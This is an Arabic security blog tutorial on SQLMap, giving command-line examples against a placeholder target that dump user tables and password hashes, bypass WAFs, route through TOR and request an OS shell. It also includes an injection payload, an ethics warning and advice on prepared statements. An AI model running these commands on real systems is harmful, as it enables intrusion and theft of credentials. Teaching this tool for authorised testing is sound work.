هذه الأداة تكشف ثغرات قاعدة بياناتك في 60 ثانية — هل موقعك في خطر؟

SQLMap: سلاح خبراء الاختراق لكشف ثغرات قواعد البيانات | GloSecLab
SQLMAP
اختبار اختراق قواعد البيانات

SQLMap: حين تصبح قاعدة البيانات
مفتوحةً كالكتاب أمام المختبر المحترف

دليل تقني شامل يأخذك من فهم خطورة ثغرات SQL Injection إلى إتقان أقوى أداة أتمتة لاكتشافها واستغلالها — مع التركيز على الاستخدام الأخلاقي وحماية أنظمتك.

📅 2025 ⏱ وقت القراءة: ~12 دقيقة 🎯 المستوى: مبتدئ → متقدم 🔑 اختبار الاختراق · أمن المعلومات · Kali Linux

01 //خطر يسكن في سطر واحد من الكود

تخيّل أنك تمتلك خزنة حديدية تحتوي على كل أسرار شركتك — بيانات عملائك، معاملاتك المالية، كلمات مرور موظفيك. الآن تخيّل أن هناك ثغرة صغيرة في جدار تلك الخزنة لا يراها إلا من يعرف أين يبحث. هكذا بالضبط تعمل ثغرات SQL Injection.

منذ أن وضعت منظمة OWASP ثغرات الحقن (Injection) في رأس قائمة أخطر عشر ثغرات ويب لسنوات متتالية، والمطورون يتساءلون: كيف يصل المهاجم إلى قاعدة بياناتي؟ الإجابة مؤلمة في بساطتها — أحياناً يكفي سطر واحد مثل ' OR 1=1 -- يُكتب في حقل البحث لينهار كل شيء.

لكن قبل أن يجد المهاجم تلك الثغرة، يجب أن يجدها أنت أولاً. وهنا يدخل المشهد بطل هذا المقال: SQLMap — الأداة التي تحوّل عملية اكتشاف ثغرات SQL Injection من مهمة تستغرق أياماً إلى بضع دقائق من الأتمتة الذكية.

📊
// إحصائية تستحق التوقف

وفقاً لتقارير أمن المعلومات، تُعدّ ثغرات SQL Injection مسؤولة عن أكثر من 65% من هجمات اختراق قواعد البيانات حول العالم — وكثير منها يستغل ثغرات كانت معروفة منذ سنوات ولم تُعالَج.

◆ ◆ ◆

02 //ما هي SQLMap؟ الأداة رقم واحد عالمياً

SQLMap هي أداة مفتوحة المصدر (Open Source) مكتوبة بلغة Python، مُصممة لأتمتة عملية اكتشاف واستغلال ثغرات SQL Injection في تطبيقات الويب وقواعد البيانات. أُطلقت في عام 2006 على يد الباحثَين الأمنيَّين Daniele Bellucci و Bernardo Damele، وما زالت تُطوَّر بنشاط حتى اليوم.

ما يجعل SQLMap استثنائية ليس فقط قدرتها على اكتشاف الثغرات تلقائياً، بل قدرتها على الذهاب أبعد من ذلك: استخراج قواعد البيانات، الجداول، الأعمدة، والبيانات الحساسة — بل وصولاً إلى الحصول على صلاحيات shell على الخادم في حالات معينة.

تدعم الأداة طيفاً واسعاً من أنظمة قواعد البيانات تشمل: MySQL، PostgreSQL، Oracle، Microsoft SQL Server، SQLite، Sybase، SAP MaxDB، وغيرها. وهي مُضمَّنة بشكل افتراضي في توزيعات الأمن السيبراني مثل Kali Linux و Parrot OS.

🏆
// لماذا هي الأولى عالمياً؟

SQLMap تجمع بين ستة أساليب مختلفة للاستغلال، ودعم عشرات قواعد البيانات، وواجهة سطر أوامر مرنة، وقاعدة مجتمع ضخمة — كل ذلك في أداة واحدة مجانية ومفتوحة المصدر.

◆ ◆ ◆

03 //آلية العمل: كيف تفكر SQLMap؟

لفهم SQLMap، يجب أن تتخيّل كيف يفكر مختبر اختراق بشري عند فحصه لنقطة إدخال (Input Point) في موقع ويب. يبدأ بطرح أسئلة: هل يُعيد الخادم رسائل خطأ؟ هل يتغير وقت الاستجابة بتغيير البيانات؟ هل يمكن دمج استعلام آخر مع الأصلي؟ SQLMap تطرح هذه الأسئلة كلها في آنٍ واحد، تلقائياً وبسرعة مذهلة.

تعتمد الأداة على خمسة أساليب رئيسية للكشف والاستغلال:

Boolean-based
الحقن المنطقي
يُرسل استعلامات تُعطي نتائج مختلفة بين TRUE وFALSE، ويُلاحظ الاختلاف في استجابة الخادم لاستنتاج البيانات بِتًا بِتًا.
Error-based
الحقن عبر الأخطاء
يستغل رسائل الخطأ التي يُرسلها قاعدة البيانات لاستخراج معلومات مباشرة — الأسرع لكنه يعتمد على وجود رسائل خطأ مكشوفة.
Time-based Blind
الحقن الأعمى الزمني
يُرسل أوامر تُسبب تأخيراً مقصوداً في الاستجابة (مثل SLEEP)، ويستنتج البيانات من وقت الانتظار. يعمل حتى مع المواقع التي لا تُظهر أي خطأ.
UNION-based
حقن UNION
يستخدم عبارة UNION لدمج استعلامات إضافية مع الأصلية، مما يُتيح استخراج بيانات من جداول أخرى مباشرة في الاستجابة.
Stacked Queries
الاستعلامات المتراصة
يُرسل استعلامات متعددة في طلب واحد مفصولة بـ (;) — يُتيح تنفيذ عمليات INSERT أو DROP أو إجراء تغييرات في قاعدة البيانات.

تبدأ SQLMap بمرحلة الاستكشاف (Detection Phase) حيث تحدد ما إذا كانت نقطة الإدخال قابلة للحقن، ثم تنتقل إلى مرحلة الاستغلال (Exploitation Phase) حيث تستخرج البيانات باستخدام الأسلوب الأنجح. كل هذا بدون تدخل بشري.

◆ ◆ ◆

04 //التثبيت والإعداد

على Kali Linux (مثبتة مسبقاً)

SQLMap جزء من Arsenal الافتراضي لـ Kali Linux. للتحقق وتحديث الأداة:

BASH · KALI LINUX
# التحقق من الإصدار
sqlmap --version

# تحديث الأداة إلى أحدث إصدار
sqlmap --update

# أو عبر git
cd /opt/sqlmap
git pull

التثبيت من المصدر (أنظمة أخرى)

BASH · INSTALL FROM SOURCE
# متطلب أساسي: Python 3.x
python3 --version

# استنساخ المستودع الرسمي
git clone https://github.com/sqlmapproject/sqlmap.git
cd sqlmap

# تشغيل مباشر
python3 sqlmap.py --help
// بيئة التدريب الآمنة

قبل البدء، تدرّب على بيئات مصممة خصيصاً لذلك مثل DVWA (Damn Vulnerable Web App) أو HackTheBox أو TryHackMe — لا تُجرّب أبداً على مواقع حقيقية دون إذن.

◆ ◆ ◆

05 //الدليل العملي: الأوامر الأساسية

الفحص الأولي: هل الموقع قابل للحقن؟

الخطوة الأولى دائماً هي تحديد ما إذا كانت نقطة الإدخال المستهدفة ضعيفة:

BASH · BASIC DETECTION
# فحص URL يحتوي على معامل GET
sqlmap -u "http://target.com/page.php?id=1"

# فحص مع مستوى تفصيل عالٍ (Verbose)
sqlmap -u "http://target.com/page.php?id=1" -v 3

# الموافقة التلقائية على جميع الأسئلة (batch mode)
sqlmap -u "http://target.com/page.php?id=1" --batch

استخراج قائمة قواعد البيانات

BASH · ENUMERATE DATABASES
# عرض جميع قواعد البيانات المتاحة
sqlmap -u "http://target.com/page.php?id=1" --dbs

# مثال على الناتج المتوقع:
[*] available databases [3]:
[*] information_schema
[*] shop_db
[*] users_db

استخراج الجداول من قاعدة بيانات محددة

BASH · ENUMERATE TABLES
# استخراج جداول قاعدة بيانات محددة
sqlmap -u "http://target.com/page.php?id=1" \
       -D shop_db \
       --tables

# استخراج الأعمدة من جدول محدد
sqlmap -u "http://target.com/page.php?id=1" \
       -D shop_db \
       -T users \
       --columns

استخراج البيانات الفعلية من جدول

BASH · DUMP DATA
# تفريغ (Dump) محتوى جدول كامل
sqlmap -u "http://target.com/page.php?id=1" \
       -D shop_db \
       -T users \
       --dump

# تفريغ أعمدة محددة فقط (أسرع وأدق)
sqlmap -u "http://target.com/page.php?id=1" \
       -D shop_db \
       -T users \
       -C username,password,email \
       --dump

استخراج مستخدمي قاعدة البيانات وكلمات مرورهم

BASH · DB USERS & PASSWORDS
# استخراج مستخدمي قاعدة البيانات
sqlmap -u "http://target.com/page.php?id=1" --users

# استخراج هاشات كلمات المرور (مع محاولة كسرها)
sqlmap -u "http://target.com/page.php?id=1" --passwords

# التحقق من صلاحيات DBA (Database Administrator)
sqlmap -u "http://target.com/page.php?id=1" --is-dba
◆ ◆ ◆

06 //الأوامر المتقدمة: مستوى المحترفين

فحص طلبات POST (نماذج تسجيل الدخول)

أغلب التطبيقات تستخدم POST لإرسال البيانات. SQLMap تتعامل معها بسهولة:

BASH · POST REQUEST
# فحص بيانات POST مباشرة
sqlmap -u "http://target.com/login.php" \
       --data "username=admin&password=test" \
       -p username

# استخدام ملف طلب HTTP محفوظ من Burp Suite
sqlmap -r request.txt --batch

التحايل على جدران الحماية (WAF Bypass)

BASH · WAF BYPASS
# استخدام Tamper Scripts للتحايل على الفلاتر
sqlmap -u "http://target.com/page.php?id=1" \
       --tamper=space2comment,randomcase,between

# تغيير User-Agent لتجنب الكشف
sqlmap -u "http://target.com/page.php?id=1" \
       --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64)"

# التوجيه عبر TOR للتخفي
sqlmap -u "http://target.com/page.php?id=1" \
       --tor --tor-type=SOCKS5

الفحص مع Cookies (جلسات المستخدم)

BASH · COOKIES & SESSION
# إرسال Cookies مع الطلب (للصفحات التي تتطلب تسجيل دخول)
sqlmap -u "http://target.com/profile.php?id=5" \
       --cookie="PHPSESSID=abc123xyz; user=admin"

# استهداف معامل محدد في الـ Cookie
sqlmap -u "http://target.com/dashboard.php" \
       --cookie="user_id=3" \
       -p user_id

حفظ نتائج الفحص (للتقارير الاحترافية)

BASH · OUTPUT & REPORTING
# تحديد مجلد لحفظ كل نتائج الفحص
sqlmap -u "http://target.com/page.php?id=1" \
       --output-dir=/home/kali/reports/target/ \
       --dbs --batch

# زيادة الخيوط لتسريع الفحص
sqlmap -u "http://target.com/page.php?id=1" \
       --threads=5 \
       --dbs

جدول مرجعي سريع لأهم الخيارات

الخيار الوظيفة المستوى
-u "URL" تحديد الهدف (URL مع معاملات GET) أساسي
--dbs استعراض جميع قواعد البيانات أساسي
-D db --tables استعراض جداول قاعدة بيانات محددة أساسي
-D db -T tbl --dump تفريغ محتوى جدول كامل متوسط
--data "POST data" فحص بيانات POST متوسط
-r request.txt استخدام ملف Burp Suite Request متوسط
--tamper=script تطبيق نصوص التحايل على WAF متقدم
--tor توجيه الحركة عبر شبكة TOR متقدم
--os-shell محاولة الحصول على Shell على الخادم متقدم
--batch الموافقة التلقائية على كل الأسئلة أساسي
◆ ◆ ◆

07 //الأخلاقيات والإطار القانوني: الخط الأحمر

🚨
// تحذير قانوني صريح

استخدام SQLMap أو أي أداة اختراق على أنظمة لا تملك إذناً صريحاً وموثقاً بالوصول إليها يُعدّ جريمة إلكترونية في معظم دول العالم، وقد يُفضي إلى عقوبات سجن وغرامات مالية ضخمة. هذا المقال للأغراض التعليمية البحثية فقط.

في مجال الأمن السيبراني، الحد الفاصل بين الهاكر الأخلاقي (White Hat) والمجرم الإلكتروني ليس الأداة التي يستخدمها — فكلاهما يستخدم نفس الأدوات — بل هو الإذن والنية والسياق.

مختبر الاختراق الاحترافي يعمل دائماً ضمن إطار عقد موقّع يُحدد نطاق الاختبار (Scope)، والأنظمة المسموح باختبارها، والمدة الزمنية، وآلية الإبلاغ عن الثغرات. هذا ما يُسمى Penetration Testing Agreement أو Rules of Engagement (RoE).

⚖️
// ما يجب عليك فعله قبل أي اختبار

احصل على إذن كتابي وموقّع من مالك النظام. حدّد نطاق الاختبار بدقة. وثّق كل خطوة تقوم بها. أبلغ عن الثغرات فوراً ولا تستغلها لأغراض شخصية. هذه هي أخلاقيات الـ White Hat Hacking.

إذا كنت تريد تطوير مهاراتك بشكل قانوني وآمن، فالبيئات التدريبية مفتوحة أمامك: HackTheBox، TryHackMe، VulnHub، DVWA — كلها منصات صُمّمت لتكون ميدان تدريب شرعي للمختبرين.

◆ ◆ ◆

08 //للمطورين: كيف تُحصّن موقعك؟

بعد أن رأيت كيف تعمل SQLMap، سيتضح لك أن الحماية لا تتعلق بإخفاء الثغرة — بل بإزالتها من الجذور. إليك أهم ست نقاط يجب أن تُطبّقها في أي مشروع ويب:

  1. استخدم Prepared Statements دائماً

    هذا هو الحل الجذري الأول. بدلاً من بناء الاستعلامات بتسلسل النصوص ("SELECT * FROM users WHERE id = " + id)، استخدم Parameterized Queries التي تُعامل مدخلات المستخدم كبيانات وليس كجزء من الكود.

  2. طبّق مبدأ الصلاحية الدنيا (Least Privilege)

    مستخدم قاعدة البيانات الذي يستخدمه تطبيقك يجب أن يملك الحد الأدنى من الصلاحيات — قراءة وكتابة فقط على الجداول التي يحتاجها، لا صلاحيات DROP أو CREATE أو الوصول لقواعد بيانات أخرى.

  3. أخفِ رسائل الأخطاء عن المستخدمين

    رسائل الخطأ التفصيلية من قاعدة البيانات هي كنز للمهاجمين. في بيئة الإنتاج (Production)، وجّه الأخطاء إلى ملفات السجل (Logs) بدلاً من إظهارها للمستخدم.

  4. ثبّت جدار حماية تطبيقات الويب (WAF)

    WAF مثل ModSecurity أو Cloudflare WAF يُضيف طبقة دفاع إضافية تُصفّي الطلبات المشبوهة قبل أن تصل إلى تطبيقك — لكن لا تعتمد عليها وحدها.

  5. اختبر موقعك بنفسك بانتظام

    استخدم SQLMap على موقعك الخاص ربع سنوياً على الأقل، أو ضمّن اختبار الاختراق في دورة تطوير برمجياتك (SDLC). ما تجده أنت اليوم لن يجده المهاجم غداً.

  6. حدّث مكتباتك وأُطر عملك باستمرار

    ثغرات SQL Injection لا تأتي فقط من كودك المكتوب يدوياً — قد تكون مُخبّأة في مكتبة قديمة أو ORM غير محدَّث. راقب CVEs المتعلقة بتقنيات مشروعك.

🔐 الأمن مسؤولية، لا مجرد مهارة

SQLMap أداة قوية — لكن قوّتها الحقيقية تكمن في يد من يستخدمها لبناء أنظمة أكثر أماناً. هل جربت الأداة في بيئة تدريبية؟ شاركنا تجربتك في التعليقات، وانشر المقال مع كل مهتم بأمن المعلومات واختبار الاختراق!

الكلمات المفتاحية: اختبار الاختراق، ثغرات SQL، أمن المعلومات، تعلم البرمجة، Kali Linux، SQLMap شرح، SQL Injection، اختبار قواعد البيانات، الأمن السيبراني، White Hat Hacking، أدوات الاختراق

GloSecLab — Penetration Testing · Kali Linux · OSINT · اختبار الاختراق

© 2025 GloSecLab · للأغراض التعليمية البحثية فقط · استخدام مسؤول وأخلاقي

إرسال تعليق

المقال السابق المقال التالي

نموذج الاتصال